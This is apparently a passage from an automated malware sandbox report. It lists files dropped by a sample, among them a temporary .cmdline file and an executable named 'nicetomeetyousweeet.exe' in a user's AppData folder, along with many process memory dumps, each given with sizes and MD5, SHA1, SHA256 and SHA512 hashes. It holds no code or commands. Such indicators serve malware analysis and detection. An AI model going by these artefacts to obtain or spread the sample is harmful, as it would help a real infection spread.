240b4ca770e75d02c83cb17844897b66b8c671c1477654d797146a19e0bcf12d

SHA512
ee72fd6d3ec1d6a3645c59c72a7816bcf6cf34b04683a2611eedb1897d5781c7fb92bdb1d295671b2c107a2008100e8ab1010a7401bd6c651bfed2219f15656c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\feg31p-0.cmdline

Filesize
309B

MD5
475a256a7b11181573c738731d69d596

SHA1
3e7cd4d5e234e7ccf626ee7734e0fda47bd5204d

SHA256
614c94881b012cb0a05ac14f027a7e3ef7b8b4c594ba8c453bc4ff139399108f

SHA512
7ab2ccc6171a5f44b2ce608b457ce88f112746d7cbb5387a6ce142cf888256ec854cdf0d8e3e824be157450d78bd120645c4be510fff93aebfbbbe05b0dd97b4

Download Submit
\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe

Filesize
1.1MB

MD5
387a4f5a3791b3467434add8798e156c

SHA1
3eb4d42ca10ca4705bd8e6411e09b31b8f04914e

SHA256
0ccf18985ae70f2004c2ccc11f470b7bbd0884fce623a606a67b2e4e66916791

SHA512
7ad99b695ca917759de3bb75bc1f449f80b6b8d44b081b2036e4824a82847df4990c21862b49c71da79d3d4c3e115bcb3edea8b10e7a445be66dfa8da9cb1eff

Download Submit
memory/1276-135-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-144-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-149-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-148-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-146-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-142-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-147-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-145-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-125-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-138-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-141-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-140-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-137-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/1276-143-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-133-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-139-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-129-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-127-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1276-131-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2260-60-0x0000000002760000-0x0000000002762000-memory.dmp

Filesize
8KB

Download
memory/2504-1-0x0000000072CED000-0x0000000072CF8000-memory.dmp

Filesize
44KB

Download
memory/2504-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2504-83-0x0000000072CED000-0x0000000072CF8000-memory.dmp

Filesize
44KB

Download
memory/2504-61-0x0000000002F10000-0x0000000002F12000-memory.dmp

Filesize
8KB

Download
memory/2564-114-0x0000000005680000-0x0000000005744000-memory.dmp

Filesize
784KB

Download
memory/2564-113-0x0000000000AF0000-0x0000000000B16000-memory.dmp

Filesize
152KB

Download
memory/2564-112-0x00000000011E0000-0x00000000012FA000-memory.dmp

Filesize
1.1MB

Download